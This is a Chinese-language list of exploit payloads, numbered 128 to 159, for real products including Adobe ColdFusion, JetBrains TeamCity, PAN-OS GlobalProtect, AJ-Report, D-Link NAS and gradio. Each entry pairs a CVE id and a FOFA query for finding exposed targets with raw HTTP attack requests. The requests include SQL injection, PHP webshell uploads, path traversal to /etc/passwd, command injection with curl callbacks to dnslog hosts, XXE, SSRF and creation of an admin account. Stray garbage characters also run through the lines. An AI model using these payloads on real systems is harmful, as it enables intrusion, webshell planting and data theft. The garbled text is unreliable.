: F* s! u. t0 k4 K% c<!DOCTYPE test [
  b! J" x9 C% G; m; M1 B! I<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
( R3 `! _0 }) x; Z]
>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

+ m, I3 s1 t: x7 @3 e6 @9 x

$ g! V7 c% p6 R% i128. Adobe ColdFusion 反序列化
CVE-2023-38203
4 j0 d: e& m8 ?" j4 C# {- NAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
- a( c: Q5 e( fPAYLOAD

! P2 \+ r5 k( G129. Adobe ColdFusion 任意文件读取
! B/ @/ P" _5 q/ B/ B/ s0 e" vCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
0 g! y* x  B' ]- T0 W. C第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
6 n; c" U5 @( r! H' n' kHost: x.x.x.x
, V' e$ q0 @  o- r. qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
; ~4 b& a1 O% q, A+ g8 XAccept: */*
% v3 `0 c. v5 R4 J% N" R/ KAccept-Encoding: gzip, deflate
Connection: close
' A5 Q0 W" ]8 C- O8 ?
0 g7 X' B  c& q2 n9 E; j
$ Y& q) ?1 g5 O) e8 g第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
, I2 ~5 p) t4 q: `% ^

7 P5 }) o7 G2 l7 c$ b130. Laykefu客服系统任意文件上传
4 j4 h* f) R" v+ p, bFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
& d: `' M2 }" \. ]User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
8 H1 q, t) C+ W" ^, a- r. QContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
3 W8 }/ I" G9 v5 \" E9 ~Accept-Encoding: gzip, deflate
/ G- X  x- z* s6 m5 V/ {' w, `Accept-Language: zh-CN,zh;q=0.9
. P/ u! [) u  ~. r) vCookie: user_name=1; user_id=3
Connection: close

9 X& O1 }: O) k  f5 a% x2 a+ J------WebKitFormBoundary3OCVBiwBVsNuB2kR
( r3 C$ x; X" U  O! FContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
3 e) E3 V+ O8 G$ w/ K
3 _/ X7 }" h9 T<?php phpinfo();@eval($_POST['sec']);?>
* N2 a: c, ~  D9 W( Q' ?3 a* C------WebKitFormBoundary3OCVBiwBVsNuB2kR--

8 O2 @9 f# ?! y. `5 K
  k& Q4 ^* F4 D% q6 T5 T131. Mini-Tmall <=20231017 SQL注入
9 P8 H! q# W/ _# c5 ]- q* qFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
# E5 ~$ t6 k) ~7 {! k8 Yhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

7 t6 z0 Z3 B0 Z5 C1 I132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
7 D* T" x1 f" E/ ECVE-2024-27198
/ u% R* a$ v* g% S0 @( V& AFOFA：body="Log in to TeamCity"
! T6 O" J* m3 H: B0 h' @: ]& wPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
' L, ]& ?* N$ H& V) h0 SHost: 192.168.40.130:8111
( N( M& L  [0 l' y3 l0 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
# X9 h4 b5 T; {3 hAccept-Encoding: gzip, deflate
# t$ }3 Q9 @: O/ \% R4 f
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
, v6 F$ i2 E5 G  o: d/update/../admin/diagnostic.jsp
% `  ?% |" a8 J1 ~$ a# r; z* i0 @

; T: q4 W2 z+ q( MCVE-2024-27198-RCE.py

$ N8 {( D; K$ H& w1 a4 `133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
5 L* {! b; k$ q  G6 b4 H$ f5 {* TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
& X! M; M! G! n, {; ?, `Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
" ^: L  |- H% ]* iContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--


- i0 M* A) R  [% [8 C1 ]; l
9 ^# }0 |2 `% }4 i134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
# x  p6 @6 J& `5 [Netentsec NS-ASG Application Security Gateway 6.3版本
3 g$ j, [% N9 m# S/ m4 MFOFA：app="网康科技-NS-ASG安全网关"
( k0 \/ _- b, i1 OPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
$ {+ V* _1 G1 `3 D# gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- l- e" W* g5 g  ^Accept-Encoding: gzip, deflate
5 [7 W  B$ U, c7 a' R! dSec-Fetch-Dest: empty
% I6 Y' @: k; D! r- KSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
0 k/ Y" q* C. K' r/ N8 {Content-Type: application/x-www-form-urlencoded
# `" H1 Y: Y$ ~$ _' S7 B2 k( cContent-Length: 263
, b- I" o0 ]4 n! V
: A: T- d( j4 L/ ijsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

0 z; f8 b8 z$ h) L7 \$ {7 E( a
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
# n; m  L4 d- Z3 k) i8 G9 nCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
; m; K, n0 K. H2 x+ K! qFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
) R3 m6 v$ U, ]7 ]4 T# \2 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
( A  F7 }+ k- h' _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" D9 X* A6 i# M, IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 K0 k8 h4 u: h  H  F7 U1 X3 \Connection: close
5 Z  J: [. y% b3 R2 K. R

2 R  P. k, K! J+ @/ J, w136. NextChat cors SSRF
0 R, R, c; V) W7 f" UCVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
1 d1 y9 Y# \- U0 R: g. o! OHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
& g3 Z$ o8 F! H$ v) n& HAccept: */*
$ i( c  Z7 b2 J% tAccept-Language: en
Accept-Encoding: gzip
- U' u2 J+ M& o1 M$ T

- x% v3 Z* t# t! [8 B137. 福建科立迅通信指挥调度平台down_file.php sql注入
8 B2 R; ?& B' e6 _; j  n  w3 e6 VCVE-2024-2620
' J8 s' S. Q* C3 [' J7 OFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ l+ ~4 \6 L2 c6 D$ p/ `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
* ~* V8 `5 p: D: C/ p8 GUpgrade-Insecure-Requests: 1

: D  F$ J9 w# ?& |- b
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
1 B! S! o- [) b8 m) s* g& v1 CCVE-2024-2621
: t& U$ p; J" x: M7 S. X/ r  D; HFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
2 b+ w. O8 I' Y2 m! j& w) F, v% n0 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

  a) L6 P0 O+ r* E% U  }
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
' y! |" ]9 w" u' M9 u" iFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
3 s  N7 e+ C. j  e; I3 P1 L  F0 Z5 aGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
5 I, @+ w3 i; x1 z$ RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
5 M. J7 }: L9 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( _/ c  F9 c" b* b1 V6 n9 |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 a1 Z2 j' h7 gAccept-Encoding: gzip, deflate, br
6 z. B& K! s5 WConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
9 K" p4 g$ {0 gUpgrade-Insecure-Requests: 1

* o( v% O* E4 f6 @+ w9 V) F
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
. [) \4 S( _$ M' m& m  z- kFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
4 I; q% r4 J5 W2 \/ N+ {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 W& U$ X# z% b' V* |! lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
6 ^- I  e, _: R+ s0 R

141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
+ y0 N$ u( n. q$ f# {" tHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
( F$ j2 X0 i9 Z$ |) V3 Q6 eContent-Type: application/x-www-form-urlencoded

. q, j9 ^  B4 E% |1 P1 N' e
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
8 N2 M, s) e( x* }3 {! j
9 t& y* n: D, m
: U' h- c3 g/ E) q142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
# I. y( k# h4 E& z1 q) }& J9 Dadmin/admin
/ C# y* n' a6 K) l/ \6 F8 @143. Netis WF2780 v2.1.40144 远程命令执行
+ g) S7 A& P& ~# o4 FCVE-2024-25850
FOFA：title='AP setup' && header='netis'
: }0 ?8 U0 \$ B6 [PAYLOAD

  Y/ {5 L/ x, b7 S. q: D9 G& k144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
( r2 u9 x3 G; w& a" l* u8 n' PHost: x.x.x.x
, M0 Q7 {6 W. @! _9 s" zUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
3 `5 j. o& a0 eConnection: close
$ Z# B/ X; J* m3 t2 T# Z1 ZAccept: */*
Accept-Language: en
Accept-Encoding: gzip


: B: e% `0 e% V3 G9 `4 r% Y145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
# S+ p. T9 W5 L0 q( vCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
% e* c1 g# Y. g6 _. kAccept-Encoding: gzip

  i( B! y4 O3 O+ \" R
& t! E" O: g0 u! ~/ n/ D# ]7 K' E146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
" ?- u# t( ^+ D0 r. U( _! DFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
  s3 O, S; Y% b/ U+ e" @& @: VHost: x.x.x.x
* p# H, g( F  uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
+ E; J/ @/ ]; X8 a2 k  HAccept-Charset: utf-8
3 e9 s& i5 K% i/ m% e* m" z. {$ MAccept-Encoding: gzip, deflate
/ C7 Y9 T, f$ u  F, eConnection: close
* O( t" b6 C/ m, H% L
0 {) p( a* C3 ?9 L) t% ~4 S! S
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
" W0 `8 g, F, C& qCVE-2024-32399
5 Y! ~/ C: p# n( @* cFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
/ C2 J; z; y( b5 o5 cHost: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close
, i# a, o1 H' r  i; g4 v

: @: Y0 _: V7 b9 A. _: W: y. i, _148. CrushFTP 认证绕过模板注入
CVE-2024-4040
$ V. G; E3 }! Q6 |( u0 H& c, oFOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
3 }0 A. p  j- r6 m* T% Z( j* Y" lFOFA：title="AJ-Report"

: h2 Y* h! ?3 m0 r# k3 q1 g+ GPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# Y2 y  U/ j4 s6 \) V7 @# U& U1 @2 CAccept-Encoding: gzip, deflate, br
  A; f9 O  h/ FAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
! L% B, ]* f3 k+ e" z) J' g! B
7 z$ @; S5 e+ z7 X$ x7 [' r- @{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
3 |' V' P. z, g/ }
% G0 t# K6 ^& F* `( L& C, z$ j150. AJ-Report 1.4.0 认证绕过与远程代码执行
& s& _5 J: l  O5 o2 nFOFA：title="AJ-Report"
3 D, c/ ~) d! hPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
' w2 a! R6 x2 R3 ]+ C- ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
. k% J2 j2 V: S6 rContent-Type: application/json;charset=UTF-8
Connection: close
/ E3 T7 E& c- n) DContent-Length: 339

, V1 y9 ?& y1 ]' T{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
" Y: \# F* i# T9 M9 M  K

( M; ]; P# X8 J0 K7 g151. AJ-Report 1.4.1 pageList sql注入
4 ^& S8 i- C! |; g( fFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
) V7 }  X" U5 j/ B2 O  GHost: x.x.x.x
8 |6 G8 O2 R. D3 m' lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  [1 z$ z9 g9 i6 h9 F6 y0 h6 k. PConnection: close
Accept-Encoding: gzip

7 ?, B) J) f; z
; O. d3 D# Z' t152. Progress Kemp LoadMaster 远程命令执行
: N; o2 K" E" ^, e5 H) D+ _CVE-2024-1212
5 D. `! ?$ S' OLoadMaster <= 7.2.59.2 (GA)
$ k4 R: f1 H/ DLoadMaster<=7.2.54.8 (LTSF)
/ q5 v  H/ s0 L$ LLoadMaster <= 7.2.48.10 (LTS)
4 `/ v' \9 P; H( g* x- W, PFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
* i% D' F' X2 a6 }3 t, b" ]GET /access/set?param=enableapi&value=1 HTTP/1.1
1 |- P8 l, F# c+ uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
: ^/ P( z; r. B, u/ K, k& D  c$ nConnection: close
. o( T8 Y7 U, A( C" gAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
1 s: z2 E: G, _0 e2 P8 }' Z4 S4 QAccept-Encoding: gzip


153. gradio任意文件读取
5 Z& }6 ^' w* H  }CVE-2024-1561FOFA：body="__gradio_mode__"
* z4 O" W; V! h2 p' Z$ d第一步，请求/config文件获取componets的id
9 X/ x+ Z/ f: l+ n  P% x9 H( ]# o1 Qhttp://x.x.x.x/config


第二步，将/etc/passwd的内容写入到一个临时文件
/ w* m+ t# R" f% n3 w' OPOST /component_server HTTP/1.1
; g: N2 s4 S/ r8 |  MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
9 k: s# `6 ]9 ^8 J$ aConnection: close
Content-Length: 115
Content-Type: application/json
+ O; P5 n# {1 s) {Accept-Encoding: gzip
0 V/ j. c: O$ {7 ^% Q! V5 W) h
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


第三步访问
% {; I6 N2 G. }1 E' i& {' r' U6 thttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
! Y5 H6 c! o( Y* r; C
  A' ?; ?3 {2 y
154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
* n& m: q2 }+ Z# y9 uPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
) O# L5 T& W* X( ]& ]; NHost: x.x.x.x
Content-Length: 106
- W) B$ q; l" i# BCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
: E) ?: P( r6 q4 h+ xOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
2 b1 k4 |, y- f/ y! {: n, nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Y/ }' k. j3 L! l. j. R: @Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
. b' T: T# S/ [7 ]) uAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
6 _" B  N2 M5 D% o

155. 六零导航页 file.php 任意文件上传
% V0 L: R+ t: ?+ x5 V/ K) sCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
8 G" `1 B* W+ u( m$ m8 {POST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
+ q) [; K) I$ U' EContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
$ y- P8 Y, ~4 g9 `; j9 lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

4 t7 d1 ?" N9 d-----------------------------qttl7vemrsold314zg0f
1 b/ Y) E: b- I: m5 m0 j) w0 wContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
# W4 ^1 C/ ?) G; `
# o# Y: g4 a* Q0 F( O<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
, X0 O% [* o; @- {) I
' X6 [* o3 G/ ~
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
1 @4 e  ]2 ?5 Z: B& v; k·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
9 R' p$ d% H1 w9 c7 d

2 R* E* v9 H9 [: tPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 N1 Y& |8 K4 z, [3 h: [" |9 \0 b, W  DConnection: close
Content-Length: 0
Cookie: uid=1
3 X3 f& y% v# K  sAccept-Encoding: gzip

, x" L' k) q4 u6 }8 q1 x
157. 美特CRM upload.jsp 任意文件上传
( J' O3 q) |) l$ u4 B1 N+ iCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  Y- Q, ~& q' yAccept-Encoding: gzip, deflate
' `1 I# w9 U/ u, r9 K3 w) WAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

- }7 a% G# S4 Z0 K8 D9 F% X9 C, d------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
: r, o( N& O8 @& y) NContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
' A  i2 u$ q4 T3 R------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
* h% K3 [& ~/ b4 J6 f# J3 B
null
' [! a1 A, s9 Y& ]; j------WebKitFormBoundary1imovELzPsfzp5dN
+ l, C1 d, f/ P" N& hContent-Disposition: form-data; name="form"
& [9 O  b7 s+ t7 q: G* I' u; {
null
------WebKitFormBoundary1imovELzPsfzp5dN
+ M1 B, `7 Z; C( y# E" a0 rContent-Disposition: form-data; name="field"
1 t# L  l& E7 w) N( e* K
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

null
------WebKitFormBoundary1imovELzPsfzp5dN
# N* d4 r" B' _( DContent-Disposition: form-data; name="filefolder"

null
------WebKitFormBoundary1imovELzPsfzp5dN--


1 i& ~. o3 `. Yhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
1 M  b% x( M$ T* y4 `) \- b
; p  q0 I- V# j! Z158. Mura-CMS-processAsyncObject存在SQL注入
/ J; @8 G/ s. i7 `! GCVE-2024-32640
FOFA："Generator: Masa CMS"
- ~; N$ s- P3 k( k0 ^9 x/ a4 FPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
* p$ W* \% J/ o" E& \7 p" p; NHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
# T9 }1 o  t3 S+ ^( \3 n5 T! c7 @7 K

: j' N1 m& s2 j159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
) I( f& s( G) c& U. z* R: @POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
3 F, ~* {3 F! E" k& SSoapaction: "http://rainier/jobUpload"

